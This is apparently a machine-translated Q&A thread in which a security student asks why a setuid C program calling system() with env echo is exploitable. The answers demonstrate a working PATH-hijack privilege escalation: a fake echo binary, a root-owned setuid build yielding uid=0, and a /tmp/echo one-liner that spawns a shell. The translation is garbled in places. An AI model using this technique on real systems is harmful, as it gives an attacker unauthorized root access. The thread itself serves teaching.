#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
So wie ich es verstehe, ermöglicht der obige Code die Ausführung von beliebigem Code (oder Programm) – was macht dies anfällig und wie nutzt man das aus?
Sie können die überschreiben PATH
-Variable, die auf ein Verzeichnis mit Ihrer benutzerdefinierten Version von verweist echo
und da echo
wird mit ausgeführt env
wird es nicht als integriert behandelt.
Dies stellt nur dann eine Schwachstelle dar, wenn der Code als privilegierter Benutzer ausgeführt wird.
Im Beispiel unten enthält die Datei vc den Code aus der Frage.
$ cat echo.c
#include <stdio.h>
#include <unistd.h>
int main() {
printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x 1 user group 8752 Nov 29 01:55 echo
-rw-r--r-- 1 user group 99 Nov 29 01:54 echo.c
-rwsr-sr-x 1 root group 8896 Nov 29 01:55 v
-rw-r--r-- 1 user group 279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$
Beachten Sie, dass die Einstellung von realer Benutzer-ID, effektiver Benutzer-ID und gespeicherter Set-Benutzer-ID durch einen Aufruf erfolgt setresuid()
vor dem Aufruf an system()
in dem anfälligen Code, der in der Frage gepostet wurde, ermöglicht es, die Sicherheitsanfälligkeit auszunutzen, selbst wenn nur die effektive Benutzer-ID auf eine privilegierte Benutzer-ID festgelegt ist und die echte Benutzer-ID nicht privilegiert bleibt (wie dies beispielsweise der Fall ist, wenn man sich auf das set-user-ID-Bit verlässt). eine Datei wie oben). Ohne den Anruf zu setresuid()
die Muschel lief vorbei system()
würde die effektive Benutzer-ID auf die echte Benutzer-ID zurücksetzen, wodurch der Exploit unwirksam würde. Wenn jedoch der anfällige Code mit der echten Benutzer-ID eines privilegierten Benutzers ausgeführt wird, system()
Anruf allein reicht. Zitieren sh
Manpage:
Wenn die Shell mit der effektiven Benutzer- (Gruppen-) ID gestartet wird, die nicht gleich der tatsächlichen Benutzer- (Gruppen-) ID ist, und die Option -p nicht angegeben ist, werden keine Startdateien gelesen, Shell-Funktionen werden nicht von der Umgebung, den SHELLOPTS, geerbt -Variable wird ignoriert, wenn sie in der Umgebung erscheint, und die effektive Benutzer-ID wird auf die tatsächliche Benutzer-ID gesetzt. Wenn die Option -p beim Aufruf angegeben wird, ist das Startverhalten dasselbe, aber die effektive Benutzer-ID wird nicht zurückgesetzt.
Beachte das auch setresuid()
ist nicht tragbar, aber setuid()
oder setreuid()
können auch mit dem gleichen Effekt verwendet werden.
naja eigentlich kann man mit dem systemfunktionsaufruf rumspielen echo
Befehl. zum Beispiel, wenn Sie den folgenden Code ausführen:
echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH
Sie erhalten eine Shell mit der Berechtigung des Dateibesitzers
Warum glauben Sie, dass dies die Ausführung willkürlichen Codes ermöglicht?
– Oliver Charlesworth
29. November 2011 um 0:48 Uhr
Nun, um ehrlich zu sein, nehme ich es im blinden Glauben. Ich bin ein Sicherheitsstudent, ich habe mir anfälligen Code angesehen, und ich habe das gesehen, es steht im Buch, dass es so ist, aber es erklärt dieses spezielle Beispiel nicht.
– Quantenkatastrophe
29. November 2011 um 0:50 Uhr
Vielleicht beziehen Sie sich auf den Systemaufruf? Ich bin kein Experte auf diesem Gebiet, aber das ist das einzige, was für mich irgendwie seltsam aussieht. Kein Pufferüberlauf oder ähnliches.
– Michael Dorgan
29. November 2011 um 0:51 Uhr
@quantumdisaster: Welches Buch ist das?
– Oliver Charlesworth
29. November 2011 um 0:52 Uhr
Könnte von hier stammen: Exploit-Übungen.com/nebula/level01
– jordanpg
4. Januar 2014 um 19:01 Uhr